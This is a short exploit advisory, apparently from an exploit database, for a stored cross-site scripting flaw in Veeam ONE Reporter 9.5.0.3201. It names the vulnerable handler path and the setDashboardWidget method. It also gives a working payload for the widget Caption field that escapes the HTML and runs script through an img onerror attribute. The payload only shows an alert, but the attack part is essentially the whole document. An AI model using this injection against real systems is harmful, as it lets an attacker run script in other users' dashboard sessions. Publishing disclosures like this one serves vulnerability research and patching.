Veeam ONE Reporter 9.5.0.3201 - Persistent Cross-site Scripting (Add/Edit Widget)

# Exploit Title: Veeam ONE Reporter - Stored Cross-site Scripting (Add/Edit Widget)
# Exploit Author: Seyed Sadegh Khatami
# Website: https://www.cert.ir
# Date: 2019-04-27
# Google Dork: N/A
# Vendor Homepage: https://www.veeam.com/
# Software Link: https://www.veeam.com/virtual-server-management-one-free.html
# Version: 9.5.0.3201
# Tested on: Windows Server 2016


#exploit:

Path: /CommonDataHandlerReadOnly.ashx 

method: setDashboardWidget

SET Caption field to “AAAAAAAA</div><img src=S onerror=alert('KHATAMI');><div>”